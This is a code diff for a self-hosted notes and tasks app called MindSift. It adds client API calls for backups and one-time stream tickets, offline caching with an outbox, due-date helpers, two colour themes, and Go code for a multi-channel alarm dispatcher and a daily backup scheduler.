source: 'mindsift' | 'obsidian',
file: File,
preview: boolean,
mode: 'merge' | 'restore' = 'merge'
mode: 'merge' | 'restore' = 'merge',
sections?: DataSection[]
): Promise<ImportSummary> {
const token = getToken();
const form = new FormData();
@@ -1101,6 +1166,7 @@ export const api = {
const params = new URLSearchParams();
if (preview) params.set('preview', '1');
if (mode === 'restore') params.set('mode', 'restore');
if (sections && sections.length > 0) params.set('sections', sections.join(','));
const res = await fetch(`/api/v1/import/${source}${params.toString() ? `?${params}` : ''}`, {
method: 'POST',
headers: token ? { Authorization: `Bearer ${token}` } : {},
@@ -1111,6 +1177,33 @@ export const api = {
return data as ImportSummary;
},
// --- Automatic server backups ---
async adminListBackups(): Promise<BackupFile[]> {
return ensureArray(await request<BackupFile[]>('/api/v1/admin/backups'));
},
async adminRunBackup(): Promise<BackupFile[]> {
return ensureArray(await request<BackupFile[]>('/api/v1/admin/backups', { method: 'POST' }));
},
async adminDownloadBackup(name: string): Promise<Blob> {
return downloadBlob(`/api/v1/admin/backups/${encodeURIComponent(name)}`);
},
async listMyBackups(): Promise<BackupFile[]> {
return ensureArray(await request<BackupFile[]>('/api/v1/backups'));
},
async downloadMyBackup(name: string): Promise<Blob> {
return downloadBlob(`/api/v1/backups/${encodeURIComponent(name)}`);
},
async restoreMyBackup(name: string, mode: 'merge' | 'restore', sections: DataSection[], preview = false): Promise<ImportSummary> {
const params = new URLSearchParams({ mode, sections: sections.join(',') });
if (preview) params.set('preview', '1');
return request<ImportSummary>(`/api/v1/backups/${encodeURIComponent(name)}/restore?${params}`, { method: 'POST' });
},
// Danger zone: both need the current password
async purgeOwnData(password: string): Promise<void> {
await request('/api/v1/user/data', { method: 'DELETE', body: JSON.stringify({ password }) });
@@ -1131,15 +1224,6 @@ export const api = {
},
};
export function getOfflineQueue(): Thought[] {
try {
const raw = localStorage.getItem(OFFLINE_QUEUE_KEY);
if (!raw) return [];
return JSON.parse(raw);
} catch {
return [];
}
}
export type RealtimeTransport = 'ws' | 'sse' | 'none';
@@ -1155,19 +1239,28 @@ let isRealtimeConnectedState = false;
let manualDisconnect = false;
let wsReconnectDelay = 2000;
export function buildWebSocketURL(listId?: string): string {
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const token = getToken() || '';
if (listId) {
return `${protocol}//${window.location.host}/api/v1/ws/lists/${encodeURIComponent(listId)}?token=${encodeURIComponent(token)}`;
// WebSocket and EventSource cannot send headers, so instead of the session token (which would land in
// proxy logs) every connection gets a one-time ticket, valid for a minute (POST /auth/stream-ticket).
async function fetchStreamTicket(): Promise<string | null> {
try {
const res = await request<{ ticket?: string }>('/api/v1/auth/stream-ticket', { method: 'POST' });
return res?.ticket || null;
} catch {
return null;
}
return `${protocol}//${window.location.host}/api/v1/ws?token=${encodeURIComponent(token)}`;
}
export function buildSSEURL(listId?: string, docId?: string, rooms?: string[]): string {
const token = getToken() || '';
export function buildWebSocketURL(ticket: string, listId?: string): string {
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
if (listId) {
return `${protocol}//${window.location.host}/api/v1/ws/lists/${encodeURIComponent(listId)}?ticket=${encodeURIComponent(ticket)}`;
}
return `${protocol}//${window.location.host}/api/v1/ws?ticket=${encodeURIComponent(ticket)}`;
}
export function buildSSEURL(ticket: string, listId?: string, docId?: string, rooms?: string[]): string {
const params = new URLSearchParams();
if (token) params.set('token', token);
params.set('ticket', ticket);
if (listId) params.set('listId', listId);
if (docId) params.set('docId', docId);
if (rooms && rooms.length > 0) params.set('rooms', rooms.join(','));
@@ -1255,7 +1348,9 @@ function switchToSSE(reason: string) {
connectSSE();
}
export function connectSSE(rooms?: string[]): void {
let sseTicketPending = false;
export async function connectSSE(rooms?: string[]): Promise<void> {
if (rooms) {
rooms.forEach((r) => globalSubscribedRooms.add(r));
}
@@ -1274,8 +1369,20 @@ export function connectSSE(rooms?: string[]): void {
activeGlobalSSE = null;
}
if (sseTicketPending) return;
sseTicketPending = true;
const ticket = await fetchStreamTicket();
sseTicketPending = false;
if (manualDisconnect || !getToken()) return;
if (!ticket) {
// Server unreachable or session gone: try again later like after a dropped stream
notifyRealtimeStatusChange(false, 'none');
sseReconnectTimer = setTimeout(() => connectSSE(), sseReconnectDelay);
return;
}
try {
const url = buildSSEURL(undefined, undefined, Array.from(globalSubscribedRooms));
const url = buildSSEURL(ticket, undefined, undefined, Array.from(globalSubscribedRooms));
const es = new EventSource(url);
activeGlobalSSE = es;
@@ -1348,15 +1455,16 @@ export function connectSSE(rooms?: string[]): void {
}
}
export function connectWebSocket(): void {
let wsTicketPending = false;
export async function connectWebSocket(): Promise<void> {
const token = getToken();
if (!token) return;
manualDisconnect = false;
// If proxy blocked WebSocket previously, do not attempt failing WebSocket; stay on SSE
if (isWsBlockedByProxy) {
connectSSE();
return;
return connectSSE();
}
if (activeGlobalWS && (activeGlobalWS.readyState === WebSocket.OPEN || activeGlobalWS.readyState === WebSocket.CONNECTING)) {
@@ -1367,8 +1475,22 @@ export function connectWebSocket(): void {
clearTimeout(wsReconnectTimer);
clearTimeout(sseReconnectTimer);
if (wsTicketPending) return;
wsTicketPending = true;
const ticket = await fetchStreamTicket();
wsTicketPending = false;
if (manualDisconnect || !getToken()) return;
if (activeGlobalWS && (activeGlobalWS.readyState === WebSocket.OPEN || activeGlobalWS.readyState === WebSocket.CONNECTING)) {
return;
}
if (!ticket) {
notifyRealtimeStatusChange(false, 'none');
wsReconnectTimer = setTimeout(() => connectWebSocket(), wsReconnectDelay);
return;
}
try {
const url = buildWebSocketURL();
const url = buildWebSocketURL(ticket);
const ws = new WebSocket(url);
activeGlobalWS = ws;
@@ -1452,7 +1574,7 @@ export function connectWebSocket(): void {
}
};
ws.onerror = (e) => {
ws.onerror = () => {
clearTimeout(wsConnectionWatchdog);
switchToSSE('WebSocket Fehler (Handshake/Verbindung verweigert)');
};
@@ -49,7 +49,7 @@ describe('diffFlat', () => {
return Math.floor((seed / 2147483648) * n);
};
let current: DocumentBlock[] = [B('x0', 0)];
let d = build(current);
const d = build(current);
for (let step = 0; step < 300; step++) {
const next = current.map((b) => ({ ...b }));
const i = rnd(next.length);
+15
View File
@@ -0,0 +1,15 @@
// Saves a downloaded file. Works on mobile browsers too: the link must be in the document and the
// object URL alive until the click ran.
export function saveBlob(blob: Blob, filename: string): void {
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = filename;
document.body.appendChild(a);
a.click();
a.remove();
window.setTimeout(() => URL.revokeObjectURL(url), 10000);
}
export const formatBytes = (n: number): string =>
n < 1024 ? `${n} B` : n < 1024 * 1024 ? `${(n / 1024).toFixed(0)} KB` : `${(n / 1024 / 1024).toFixed(1)} MB`;
+50
View File
@@ -0,0 +1,50 @@
// Due dates come as "YYYY-MM-DD" (all day) or "YYYY-MM-DDTHH:MM" (with time), in the server's time zone.
// Both sort correctly as plain strings.
const pad = (n: number) => String(n).padStart(2, '0');
/** Local calendar day as YYYY-MM-DD (toISOString would give the UTC day). */
export const localDay = (d: Date = new Date()): string => `${d.getFullYear()}-${pad(d.getMonth() + 1)}-${pad(d.getDate())}`;
export const addDays = (days: number, from: Date = new Date()): string => {
const d = new Date(from);
d.setDate(d.getDate() + days);
return localDay(d);
};
export const splitDue = (due?: string): { date: string; time: string } => {
if (!due) return { date: '', time: '' };
const [date, time = ''] = due.split('T');
return { date, time: time.slice(0, 5) };
};
export const joinDue = (date: string, time: string): string => (date ? (time ? `${date}T${time}` : date) : '');
/** A task with a time is overdue once that minute has passed, an all-day task from the next day on. */
export const isOverdue = (due: string | undefined, now: Date = new Date()): boolean => {
if (!due) return false;
const { date, time } = splitDue(due);
const today = localDay(now);
if (date !== today) return date < today;
return !!time && time < `${pad(now.getHours())}:${pad(now.getMinutes())}`;
};
export const isDueToday = (due: string | undefined, now: Date = new Date()): boolean =>
!!due && splitDue(due).date === localDay(now);
const WEEKDAYS = ['So.', 'Mo.', 'Di.', 'Mi.', 'Do.', 'Fr.', 'Sa.'];
/** Short label: "Heute, 14:30", "Morgen", "Gestern", "Fr., 30.10." or "30.10.2027" in another year. */
export const formatDue = (due: string | undefined, now: Date = new Date()): string => {
if (!due) return '';
const { date, time } = splitDue(due);
const [y, m, d] = date.split('-').map(Number);
if (!y || !m || !d) return due;
let label: string;
if (date === localDay(now)) label = 'Heute';
else if (date === addDays(1, now)) label = 'Morgen';
else if (date === addDays(-1, now)) label = 'Gestern';
else if (y === now.getFullYear()) label = `${WEEKDAYS[new Date(y, m - 1, d).getDay()]}, ${pad(d)}.${pad(m)}.`;
else label = `${pad(d)}.${pad(m)}.${y}`;
return time ? `${label}, ${time}` : label;
};
+183
View File
@@ -0,0 +1,183 @@
// Offline support for the REST layer (lib/api.ts):
// - Read cache: successful GET responses are kept in IndexedDB per user. Without network the last
// known answer is returned, so thoughts, tasks and lists stay visible offline.
// - Outbox: a few mutations (capturing a thought, checking off a task or list item) are queued in
// localStorage while offline and sent in order once the connection is back.
// Notes have their own offline store in lib/docSync.
/** Thrown by request() when the server could not be reached at all (no HTTP answer). */
export class OfflineError extends Error {
constructor() {
super('Keine Verbindung zum Server');
this.name = 'OfflineError';
}
}
export const isOffline = () => typeof navigator !== 'undefined' && navigator.onLine === false;
// --- Read cache (IndexedDB) ---
const DB_NAME = 'mindsift-offline';
const STORE = 'responses';
// Endpoints whose answers are worth keeping; streams, long polls, note sync and downloads are not
const NOT_CACHED = [/^\/api\/v1\/(events|ws)/, /\/changes/, /\/sync/, /^\/api\/v1\/export/, /^\/api\/v1\/search/];
export const isCacheablePath = (path: string) => path.startsWith('/api/v1/') && !NOT_CACHED.some((re) => re.test(path));
let dbPromise: Promise<IDBDatabase | null> | null = null;
function openDB(): Promise<IDBDatabase | null> {
if (dbPromise) return dbPromise;
dbPromise = new Promise((resolve) => {
try {
if (typeof indexedDB === 'undefined') return resolve(null);
const req = indexedDB.open(DB_NAME, 1);
req.onupgradeneeded = () => req.result.createObjectStore(STORE);
req.onsuccess = () => resolve(req.result);
req.onerror = () => resolve(null);
} catch {
resolve(null);
}
});
return dbPromise;
}
async function withStore<T>(mode: IDBTransactionMode, fn: (s: IDBObjectStore) => IDBRequest<T> | void): Promise<T | undefined> {
const db = await openDB();
if (!db) return undefined;
return new Promise((resolve) => {
try {
const tx = db.transaction(STORE, mode);
const req = fn(tx.objectStore(STORE));
tx.oncomplete = () => resolve(req ? (req.result as T) : undefined);
tx.onerror = () => resolve(undefined);
tx.onabort = () => resolve(undefined);
} catch {
resolve(undefined);
}
});
}
// Cached answers belong to one account: the key starts with the user ID from the token
function cacheKey(userKey: string, path: string) {
return `${userKey}|${path}`;
}
export async function readCached<T>(userKey: string, path: string): Promise<T | undefined> {
return withStore<T>('readonly', (s) => s.get(cacheKey(userKey, path)));
}
export function writeCached(userKey: string, path: string, value: unknown): void {
void withStore('readwrite', (s) => {
s.put(value, cacheKey(userKey, path));
});
}
export async function clearOfflineData(): Promise<void> {
try {
localStorage.removeItem(OUTBOX_KEY);
localStorage.removeItem(LEGACY_QUEUE_KEY);
} catch {}
notifyOutbox();
await withStore('readwrite', (s) => {
s.clear();
});
}
// --- Outbox (localStorage) ---
export interface OutboxEntry {
id: string;
method: 'POST' | 'PATCH';
path: string;
body: Record<string, unknown>;
createdAt: string;
}
const OUTBOX_KEY = 'mindsift_outbox';
const LEGACY_QUEUE_KEY = 'mindsift_offline_capture_queue'; // thoughts captured offline before the outbox existed
function notifyOutbox() {
if (typeof window !== 'undefined') window.dispatchEvent(new CustomEvent('mindsift:outbox-changed'));
}
export function getOutbox(): OutboxEntry[] {
try {
const entries: OutboxEntry[] = JSON.parse(localStorage.getItem(OUTBOX_KEY) || '[]');
const legacy = JSON.parse(localStorage.getItem(LEGACY_QUEUE_KEY) || '[]');
if (Array.isArray(legacy) && legacy.length > 0) {
for (const t of legacy) {
entries.push({
id: t.id,
method: 'POST',
path: '/api/v1/inbox',
body: { content: t.content, priority: t.priority, source: t.source, dueDate: t.dueDate || '', taskListId: t.taskListId || '' },
createdAt: t.createdAt,
});
}
localStorage.setItem(OUTBOX_KEY, JSON.stringify(entries));
localStorage.removeItem(LEGACY_QUEUE_KEY);
}
return Array.isArray(entries) ? entries : [];
} catch {
return [];
}
}
function saveOutbox(entries: OutboxEntry[]) {
try {
localStorage.setItem(OUTBOX_KEY, JSON.stringify(entries));
} catch {}
notifyOutbox();
}
/**
* Queues a request. A PATCH to the same path replaces the earlier one (checking a task off and on
* again while offline sends only the final state).
*/
export function enqueue(method: OutboxEntry['method'], path: string, body: Record<string, unknown>): OutboxEntry {
const entries = getOutbox();
const entry: OutboxEntry = {
id: `ob_${Date.now().toString(36)}_${Math.random().toString(36).slice(2, 7)}`,
method,
path,
body,
createdAt: new Date().toISOString(),
};
const same = method === 'PATCH' ? entries.findIndex((e) => e.method === 'PATCH' && e.path === path) : -1;
if (same >= 0) entries[same] = { ...entry, body: { ...entries[same].body, ...body } };
else entries.push(entry);
saveOutbox(entries);
return entry;
}
export const outboxCount = () => getOutbox().length;
let flushing: Promise<number> | null = null;
/**
* Sends the queued requests in order. Stops at the first network failure and keeps the rest; entries
* the server rejects (4xx, e.g. the task was deleted meanwhile) are dropped. Returns how many went through.
*/
export function flushOutbox(send: (e: OutboxEntry) => Promise<Response>): Promise<number> {
if (flushing) return flushing;
flushing = (async () => {
let synced = 0;
for (const entry of getOutbox()) {
let res: Response;
try {
res = await send(entry);
} catch {
break; // still offline
}
if (res.status === 401 || res.status === 408 || res.status === 429 || res.status >= 500) break;
saveOutbox(getOutbox().filter((e) => e.id !== entry.id));
if (res.ok) synced++;
}
return synced;
})().finally(() => {
flushing = null;
});
return flushing;
}
+8
View File
@@ -0,0 +1,8 @@
// Same rule as the server (auth.ValidatePassword): at least 8 characters, not only spaces.
// Only for setting a password; logging in with an older, shorter one keeps working.
export const MIN_PASSWORD_LENGTH = 8;
export const passwordProblem = (password: string): string | null =>
!password.trim() || Array.from(password).length < MIN_PASSWORD_LENGTH
? `Das Passwort muss mindestens ${MIN_PASSWORD_LENGTH} Zeichen lang sein`
: null;
+22
View File
@@ -68,6 +68,28 @@ export const AVAILABLE_THEMES: ThemeOption[] = [
previewText: '#f8fafc',
isRounded: true,
},
{
id: 'polarized',
name: 'Polarized (Emerald / Teal)',
subtitle: 'Tiefdunkles Obsidian mit elektrischem Türkis/Grün (0px)',
file: 'src/themes/theme-polarized.css',
previewBg: '#090e11',
previewPanel: '#10181c',
previewAccent: '#14b8a6',
previewText: '#f0fdfa',
isRounded: false,
},
{
id: 'suri',
name: 'Suri (Velvet Dusk)',
subtitle: 'Warmes Mitternachts-Pflaume mit samtiger Orchidee (10px)',
file: 'src/themes/theme-suri.css',
previewBg: '#130f1a',
previewPanel: '#1e1728',
previewAccent: '#b86bf8',
previewText: '#fbf7ff',
isRounded: true,
},
];
export const isCustomThemeId = (id: ThemeId) => id.startsWith(CUSTOM_THEME_PREFIX);
+54 -1
View File
@@ -8,6 +8,12 @@ export interface AuthStatus {
instanceName: string;
demoMode?: boolean;
sharingMode?: SharingMode;
// "Passwort vergessen?" works (SMTP and BASE_URL configured)
passwordReset?: boolean;
// Demo mode with periodic reset: next reset (ISO) and seconds until then
demoNextReset?: string;
demoResetInSeconds?: number;
demoResetMinutes?: number;
// Impressum / Datenschutz of this instance (LEGAL_* environment variables)
legal?: {
imprintUrl?: string;
@@ -178,9 +184,31 @@ export interface SystemSettings {
smtpFrom?: string;
smtpTls?: boolean;
smtpSkipVerify?: boolean;
allowPrivateWebhooks?: boolean; // alarm webhooks may reach the LAN (and plain http)
smtpConfiguredViaEnv?: boolean;
// Automatic backups: daily time (HH:MM, server time zone) and days to keep them
backupEnabled?: boolean;
backupTime?: string;
backupRetentionDays?: number;
}
/** One file of a server backup listing. */
export interface BackupFile {
name: string;
size: number;
createdAt: string;
}
/** Parts of the own data a backup can be restored for. */
export type DataSection = 'notes' | 'tasks' | 'lists' | 'inbox' | 'themes';
export const DATA_SECTIONS: { id: DataSection; label: string }[] = [
{ id: 'notes', label: 'Notizen' },
{ id: 'tasks', label: 'Aufgaben' },
{ id: 'lists', label: 'Listen' },
{ id: 'inbox', label: 'Inbox' },
{ id: 'themes', label: 'Themes' },
];
export type BlockType = 'h1' | 'h2' | 'h3' | 'paragraph' | 'text' | 'todo' | 'bullet' | 'code' | 'callout' | 'divider' | 'table' | 'progress';
export interface DocumentBlock {
@@ -231,6 +259,26 @@ export interface DocShare {
createdAt: string;
}
/** A note linking to the current one via [[Title]] (GET /documents/{id}/backlinks). */
export interface Backlink {
docId: string;
title: string;
icon: string;
folderPath: string;
blocks: { id: string; content: string }[];
more?: number;
}
/** A note in the trash (GET /documents/trash). */
export interface TrashedDocument {
id: string;
title: string;
icon: string;
folderPath: string;
deletedAt: string;
isOwner: boolean;
}
export interface Document {
id: string;
userId: string;
@@ -437,6 +485,7 @@ export interface ImportSummary {
lists: number;
listItems: number;
inbox: number;
themes?: number;
skipped: { path: string; reason: string }[];
applied: boolean;
}
@@ -450,13 +499,16 @@ export interface UserTheme {
updatedAt: string;
}
/** What an API key may deliver; keys never read data. */
export type ApiKeyScope = 'webhook:triage' | 'webhook:task' | 'webhook:list';
export interface APIKey {
id: string;
userId: string;
name: string;
keyPrefix: string;
rawKey?: string;
scopes: string;
scopes: string; // comma separated ApiKeyScope values
lastUsedAt?: string;
createdAt: string;
}
@@ -467,6 +519,7 @@ export interface DashboardStats {
tasksDoneCount: number;
docsCount: number;
docsTodosOpenCount?: number;
listItemsOpenCount?: number;
listsCount: number;
discardedCount: number;
}
+13
View File
@@ -4,6 +4,19 @@ import { cleanup } from '@testing-library/react';
// jsdom has no layout engine, so scrolling is a no-op here
Element.prototype.scrollIntoView = () => {};
if (typeof window !== 'undefined' && !window.PointerEvent) {
class PolyfillPointerEvent extends MouseEvent {
pointerId: number;
pointerType: string;
constructor(type: string, params: PointerEventInit = {}) {
super(type, params);
this.pointerId = params.pointerId ?? 1;
this.pointerType = params.pointerType ?? 'touch';
}
}
(window as any).PointerEvent = PolyfillPointerEvent;
}
afterEach(() => {
cleanup();
});
+55
View File
@@ -0,0 +1,55 @@
/* ==========================================================================
MINDSIFT THEME: POLARIZED (Emerald / Teal)
Tiefdunkles Obsidian mit elektrischem Grün/Türkis-Akzent & scharfen Kanten.
========================================================================== */
:root[data-theme="polarized"] {
/* --- 1. AKZENTFARBE (Elektrisches Grün / Türkis) --- */
--accent-primary: #14b8a6;
--accent-hover: #2dd4bf;
--accent-dim: rgba(20, 184, 166, 0.16);
--accent-border: rgba(45, 212, 191, 0.45);
--text-on-accent: #042f2e; /* dunkel: Weiß auf Türkis erreicht nur 2,5:1 */
/* --- 2. OBERFLÄCHEN & HINTERGRÜNDE --- */
--bg-app: #090e11;
--bg-panel: #10181c;
--bg-panel-elevated: #162127;
--bg-panel-hover: #1e2c34;
--bg-input: #0c1317;
--bg-overlay: rgba(4, 7, 9, 0.78);
--bg-code: #070b0e;
/* --- 3. TEXT & KONTRASTE --- */
--text-main: #f0fdfa;
--text-muted: #8da6a9;
--text-faint: #5a7074;
/* --- 4. RAHMEN, LINIEN & SCHATTEN --- */
--border-color: rgba(20, 184, 166, 0.16);
--border-subtle: rgba(20, 184, 166, 0.08);
--border-strong: rgba(45, 212, 191, 0.32);
--shadow-panel: 0 10px 30px rgba(3, 8, 10, 0.55);
--scrollbar-thumb: rgba(20, 184, 166, 0.22);
--scrollbar-thumb-hover: rgba(45, 212, 191, 0.42);
/* --- 5. STATUS- & SIGNALFARBEN --- */
--color-success: #10b981;
--bg-success: rgba(16, 185, 129, 0.14);
--border-success: rgba(16, 185, 129, 0.38);
--color-danger: #f43f5e;
--bg-danger: rgba(244, 63, 94, 0.14);
--border-danger: rgba(244, 63, 94, 0.38);
--color-warning: #f59e0b;
--bg-warning: rgba(245, 158, 11, 0.14);
--border-warning: rgba(245, 158, 11, 0.38);
/* --- 6. RUNDUNGEN (Geometrie: Klar & eckig) --- */
--radius-card: 0px;
--radius-btn: 2px;
--radius-input: 2px;
--radius-checkbox: 0px;
--radius-pill: 9999px;
}
+55
View File
@@ -0,0 +1,55 @@
/* ==========================================================================
MINDSIFT THEME: SURI (Velvet Dusk / Orchid)
Warmes Mitternachts-Pflaume mit samtigem Orchidee-Akzent & weichen Ecken.
========================================================================== */
:root[data-theme="suri"] {
/* --- 1. AKZENTFARBE (Samtige Orchidee & Magenta-Violett) --- */
--accent-primary: #b86bf8;
--accent-hover: #cf94fd;
--accent-dim: rgba(184, 107, 248, 0.16);
--accent-border: rgba(207, 148, 253, 0.42);
--text-on-accent: #ffffff;
/* --- 2. OBERFLÄCHEN & HINTERGRÜNDE --- */
--bg-app: #130f1a;
--bg-panel: #1e1728;
--bg-panel-elevated: #282036;
--bg-panel-hover: #332944;
--bg-input: #15101d;
--bg-overlay: rgba(11, 8, 16, 0.76);
--bg-code: #0d0a13;
/* --- 3. TEXT & KONTRASTE --- */
--text-main: #fbf7ff;
--text-muted: #b5a8cb;
--text-faint: #776b8d;
/* --- 4. RAHMEN, LINIEN & SCHATTEN --- */
--border-color: rgba(207, 148, 253, 0.14);
--border-subtle: rgba(207, 148, 253, 0.07);
--border-strong: rgba(207, 148, 253, 0.28);
--shadow-panel: 0 12px 32px rgba(8, 5, 12, 0.50);
--scrollbar-thumb: rgba(184, 107, 248, 0.20);
--scrollbar-thumb-hover: rgba(207, 148, 253, 0.36);
/* --- 5. STATUS- & SIGNALFARBEN --- */
--color-success: #34d399;
--bg-success: rgba(52, 211, 153, 0.14);
--border-success: rgba(52, 211, 153, 0.38);
--color-danger: #fb7185;
--bg-danger: rgba(251, 113, 133, 0.14);
--border-danger: rgba(251, 113, 133, 0.38);
--color-warning: #fbbf24;
--bg-warning: rgba(251, 191, 36, 0.14);
--border-warning: rgba(251, 191, 36, 0.38);
/* --- 6. RUNDUNGEN (Weich gerundete Ecken) --- */
--radius-card: 10px;
--radius-btn: 6px;
--radius-input: 6px;
--radius-checkbox: 4px;
--radius-pill: 9999px;
}
+29
View File
@@ -0,0 +1,29 @@
package api
import (
"testing"
"time"
)
func TestAlarmDue(t *testing.T) {
berlin, _ := time.LoadLocation("Europe/Berlin")
at := func(h, m int) time.Time { return time.Date(2026, 10, 30, h, m, 0, 0, berlin) }
cases := []struct {
due string
before int
now time.Time
want bool
}{
{"2026-10-30", 0, at(8, 59), false},
{"2026-10-30", 0, at(9, 0), true},
{"2026-10-30T14:30", 0, at(14, 29), false},
{"2026-10-30T14:30", 30, at(14, 0), true},
{"2026-10-29", 0, at(0, 1), true},
{"bald", 0, at(23, 0), false},
}
for _, c := range cases {
if got := alarmDue(c.due, c.before, c.now); got != c.want {
t.Errorf("alarmDue(%q, %d, %v) = %v, want %v", c.due, c.before, c.now.Format("15:04"), got, c.want)
}
}
}
+161
View File
@@ -0,0 +1,161 @@
package api
import (
"bytes"
"encoding/json"
"fmt"
"log/slog"
"time"
"github.com/sandrodach/mindsift/internal/domain"
)
// --- MULTI-CHANNEL ALARM DISPATCHER (EMAIL, DISCORD, CUSTOM WEBHOOK) ---
func (s *Server) sendEmailNotification(toEmail, subject, bodyText string) error {
cfg, err := s.smtpSettings()
if err != nil {
return err
}
if err := sendMail(cfg, toEmail, subject, bodyText); err != nil {
step := ""
if se, ok := err.(*smtpStepError); ok {
step = se.Step
}
slog.Warn("E-Mail-Versand fehlgeschlagen", "smtp_step", step, "host", cfg.Host, "port", cfg.Port, "to", toEmail, "error", err)
return err
}
return nil
}
func (s *Server) sendDiscordNotification(webhookURL, title, description, dueDate, priority string) error {
allowPrivate := s.allowPrivateWebhooks()
if err := validateWebhookURL(webhookURL, true, allowPrivate); err != nil {
return err
}
httpClient := guardedClient(allowPrivate)
payload := map[string]interface{}{
"content": "⏰ **MindSift Aufgaben-Alarm**",
"embeds": []map[string]interface{}{
{
"title": title,
"description": fmt.Sprintf("%s\n\n**Fällig:** %s | **Priorität:** %s", description, dueDate, priority),
"color": 2450411,
"footer": map[string]string{
"text": "MindSift Alarm-System",
},
},
},
}
body, err := json.Marshal(payload)
if err != nil {
return err
}
resp, err := httpClient.Post(webhookURL, "application/json", bytes.NewReader(body))
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode >= 400 {
return fmt.Errorf("HTTP Status %d", resp.StatusCode)
}
return nil
}
func (s *Server) sendCustomWebhookNotification(webhookURL, event, title, notes, dueDate, priority string) error {
allowPrivate := s.allowPrivateWebhooks()
if err := validateWebhookURL(webhookURL, false, allowPrivate); err != nil {
return err
}
httpClient := guardedClient(allowPrivate)
payload := map[string]interface{}{
"event": event,
"title": title,
"notes": notes,
"dueDate": dueDate,
"priority": priority,
"timestamp": domain.NowISO(),
}
body, err := json.Marshal(payload)
if err != nil {
return err
}
resp, err := httpClient.Post(webhookURL, "application/json", bytes.NewReader(body))
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode >= 400 {
return fmt.Errorf("HTTP Status %d", resp.StatusCode)
}
return nil
}
// alarmDue reports whether the alarm for a due date should go out now: from the due time (09:00 for
// all-day tasks) minus the user's lead time on. Unreadable dates never fire.
func alarmDue(dueDate string, notifyBeforeMinutes int, now time.Time) bool {
at, ok := domain.DueAlarmAt(dueDate, notifyBeforeMinutes, now.Location())
return ok && !now.Before(at)
}
func (s *Server) startAlarmTicker() {
ticker := time.NewTicker(60 * time.Second)
defer ticker.Stop()
for range ticker.C {
alarms, err := s.store.GetDueTasksForAlarm()
if err != nil || len(alarms) == 0 {
continue
}
now := time.Now()
for _, a := range alarms {
if !alarmDue(a.DueDate, a.NotifyBeforeMinutes, now) {
continue
}
if len(a.AlarmChannels) == 0 {
continue
}
sentAny := false
due := domain.HumanDue(a.DueDate)
desc := a.Notes
if desc == "" {
desc = "Aufgabe ist jetzt fällig."
}
for _, ch := range a.AlarmChannels {
switch ch {
case "discord":
if a.DiscordWebhookURL != "" {
if err := s.sendDiscordNotification(a.DiscordWebhookURL, a.Title, desc, due, a.Priority); err == nil {
sentAny = true
}
}
case "webhook":
if a.CustomWebhookURL != "" {
if err := s.sendCustomWebhookNotification(a.CustomWebhookURL, "task_due", a.Title, desc, a.DueDate, a.Priority); err == nil {
sentAny = true
}
}
case "email":
if a.AlarmEmail != "" {
emailBody := fmt.Sprintf("Hallo,\n\ndeine Aufgabe in MindSift ist fällig:\n\nAufgabe: %s\nFällig am: %s\nPriorität: %s\nNotizen: %s\n", a.Title, due, a.Priority, desc)
if err := s.sendEmailNotification(a.AlarmEmail, "⏰ Aufgabe fällig: "+a.Title, emailBody); err == nil {
sentAny = true
}
}
}
}
if sentAny {
if err := s.store.MarkTaskAlarmSent(a.TaskID); err != nil {
slog.Error("Alarm als gesendet markieren fehlgeschlagen (wird erneut gesendet)", "task_id", a.TaskID, "error", err)
}
} else if gaveUp, _ := s.store.RecordTaskAlarmFailure(a.TaskID); gaveUp {
slog.Warn("Aufgaben-Alarm nach 3 Fehlversuchen aufgegeben", "task_id", a.TaskID, "title", a.Title)
}
}
}
}
+168
View File
@@ -0,0 +1,168 @@
package api
import (
"fmt"
"log/slog"
"net/http"
"os"
"path/filepath"
"strings"
"sync"
"time"
"github.com/go-chi/chi/v5"
"github.com/sandrodach/mindsift/internal/auth"
"github.com/sandrodach/mindsift/internal/storage"
)
// Automatic backups (see storage/backup.go): daily at the configured time a snapshot of the whole
// database for the admin and one MindSift backup per active user, both kept for the configured number
// of days. Admins can also start a run by hand; users list, download and restore their own backups.
var backupRunMu sync.Mutex
func (s *Server) backupRoot() string {
return filepath.Join(filepath.Dir(s.cfg.DatabasePath), "backups")
}
// runBackups makes one full run; returns the name of the system snapshot.
func (s *Server) runBackups() (string, error) {
backupRunMu.Lock()
defer backupRunMu.Unlock()
now := time.Now()
root := s.backupRoot()
sys, _ := s.store.GetSystemSettings()
keep := storage.DefaultBackupRetentionDays
if sys != nil && sys.BackupRetentionDays > 0 {
keep = sys.BackupRetentionDays
}
name, err := s.store.WriteSystemSnapshot(filepath.Join(root, "system"), now)
if err != nil {
return "", err
}
_ = storage.PruneBackups(filepath.Join(root, "system"), keep, now)
users, err := s.store.GetAllUsers()
if err != nil {
return name, err
}
failed := 0
for _, u := range users {
if !u.IsActive {
continue
}
dir := storage.UserBackupDir(root, u.ID)
if _, err := s.store.WriteUserBackup(u.ID, dir, now); err != nil {
failed++
slog.Error("Benutzer-Backup fehlgeschlagen", "user_id", u.ID, "error", err)
continue
}
_ = storage.PruneBackups(dir, keep, now)
}
slog.Info("Backups erstellt", "system", name, "users", len(users), "failed", failed)
if failed > 0 {
return name, fmt.Errorf("%d Benutzer-Backups fehlgeschlagen (siehe Server-Log)", failed)
}
return name, nil
}
// startBackupScheduler runs the backups once a day at the configured time (server time zone). After a
// restart past that time on a day without a run, it catches up.
func (s *Server) startBackupScheduler() {
ticker := time.NewTicker(time.Minute)
defer ticker.Stop()
lastRun := ""
if files, err := storage.ListBackups(filepath.Join(s.backupRoot(), "system")); err == nil && len(files) > 0 {
lastRun = strings.TrimPrefix(files[0].Name, "mindsift-db-")[:10] // date of the newest snapshot
}
for range ticker.C {
sys, err := s.store.GetSystemSettings()
if err != nil || sys == nil || !sys.BackupEnabled {
continue
}
now := time.Now()
today := now.Format("2006-01-02")
if lastRun == today || now.Format("15:04") < sys.BackupTime {
continue
}
lastRun = today
if _, err := s.runBackups(); err != nil {
slog.Error("Automatisches Backup fehlgeschlagen", "error", err)
}
}
}
func (s *Server) handleAdminListBackups(w http.ResponseWriter, r *http.Request) {
files, err := storage.ListBackups(filepath.Join(s.backupRoot(), "system"))
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, files)
}
